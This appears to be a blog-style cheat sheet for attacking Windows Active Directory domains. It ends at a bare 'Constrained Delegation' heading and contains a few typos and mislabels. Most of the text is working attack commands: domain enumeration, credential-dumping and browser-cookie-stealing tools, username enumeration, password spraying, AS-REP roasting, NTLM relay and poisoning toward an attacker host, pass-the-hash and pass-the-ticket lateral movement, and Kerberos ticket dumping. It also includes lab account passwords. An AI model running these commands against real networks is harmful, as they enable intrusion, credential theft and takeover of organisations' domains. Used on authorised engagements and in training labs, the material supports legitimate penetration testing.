Active Directory Pentesting: A Basic Workflow

Sun, 17 Nov 2024 12:00:00 +0800

Internal Network Information Gathering

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


1. User list net user /domain
Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users

2. Process list tasklist /svc
Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc.

3. Service list	tasklist /svc
Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities]

4. Port list	netstat -ano
Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering

5. Patch list	systeminfo
Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.]

6. Local shares	smbclient -L ip
		 net user \\ip\c$
Local share list/access permissions and domain shares accessed by the local host/access permissions

7. Analyze the current user's habits
History, favorites, documents, etc.

8. Obtain the current user's password
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
Browsers
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal (steal browser cookies)

Navicat passwords
Versions: Navicat 11 or 12

Method: https://blog.csdn.net/CCESARE/article/details/104746596

Decryption script: https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

Xshell and Xftp passwords
https://github.com/dzxs/Xdecrypt

mRemoteNG passwords
https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Common port scanning tools
nmap
masscan
zmap
S Scanner
Custom scripts
nc
……
Internal network topology analysis
DMZ
Management network
Production network
Test network
Common information-gathering commands

# ipconfig
ipconfig /all ------> Query the local IP range, domain, etc.

# net
net user ------> List local users
net localgroup administrators ------> List local administrators [usually includes domain users]
net user /domain ------> Query domain users
net group /domain ------> Query groups in the domain
net group "domain admins" /domain ------> Query the Domain Admins group
net localgroup administrators /domain ------> List domain administrators logged on to the local host
net localgroup administrators workgroup\user001 /add -----> Add a domain user to the local host net group "Domain controllers" -------> List domain controllers (if there are multiple)
net view ------> List machines in the same domain net view /domain ------> List domains
net view /domain:domainname

# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> List all machine names in the domain
dsquery computer ------> List machine names
dsquery user domainroot -limit 65535 && net user /domain------> List all usernames in the domain
dsquery subnet ------> List subnet divisions in the domain
dsquery group && net group /domain ------> List groups in the domain
dsquery ou ------> List organizational units in the domain
dsquery server && net time /domain------> List domain controllers in the domain

Third-party information gathering
NETBIOS information gathering
SMB information gathering
Null-session information gathering
Vulnerability information gathering, etc.

Common Commands

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Create a local account
net user /add jerry 123456
# Create a domain user from a domain member (administrator privileges required)
net user /add jerry 123456 /domain
# Create a domain member on the domain controller
net user /add jerry 123456

After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult.
net localgroup administrators test\jerry /add
This can elevate user jerry in the test domain to local administrator privileges.
Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in.
When running a local command that requires administrator privileges, select Yes or No at the prompt.

List Anonymously Accessible SMB Shares

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # Enumerate SMB shares accessible through a null session
cme smb <ip> -u 'a' -p '' # Enumerate anonymously accessible SMB shares

enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''

Enumerate LDAP

1
2
3
4
5


nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

Find Usernames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - Find usernames on the internet

# Newly recorded
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Now we have the accounts, but no passwords.

Password Spraying

1
2
3
4
5


Retrieve the domain password policy:
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs
cme smb <dc-ip> -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy

ASREP-Roasting Attack

Retrieve hashes

1
2
3
4
5


python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat

GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams

Find ASREP-Roastable accounts

1
2
3


GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Once You Have the Credentials for Any Domain User

Retrieve passwords for other accounts

1. Get All Account Names in the Domain

1

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2. Enumerate SMB Shares

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0

1

cme smb <ip> -u <user> -p <password> --shares

3. BloodHound

https://github.com/dirkjanm/BloodHound.py

1
2
3


bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all

4. Enumerate DNS Servers

https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py

1
2


dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

Relay/Poisoning Attacks

Scan for machines without SMB signing enabled.

1
2
3


nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt

PetitPotam

1

PetitPotam.py -d <domain> <listener_ip> <target_ip>

You can follow this up with an AD CS attack.

Start listening

1
2


responder -i eth0
mitm6 -d <domain>

No SMB Signing || IPv6 Enabled || ADCS

MS08-068

1
2
3
4
5


use exploit/windows/smb/smb_relay 	# Commonly used for Windows 2003 / Windows Server 2008

responder -I eth0 # Remember to disable the local SMB and HTTP services first

ntlmrelayx.py -tf targets.txt

mitm6 -i eth0 -d

1
2
3
4
5
6
7


ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

adcs

1
2
3


ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

Crack the Captured hash

1
2
3


john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

NTLM

1
2
3


john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

NTLMv1

1
2
3


john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

NTLMv2

1
2
3


john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

Kerberos 5 TGS

1
2
3


john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

Kerberos ASREP

1

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

Lateral Movement

1
2
3
4
5
6
7
8
9


psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

1
2
3
4
5
6
7
8


python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

Unconstrained Delegation

Retrieve tickets

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

Find hosts configured for unconstrained delegation

1
2
3
4
5
6
7


Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

Constrained Delegation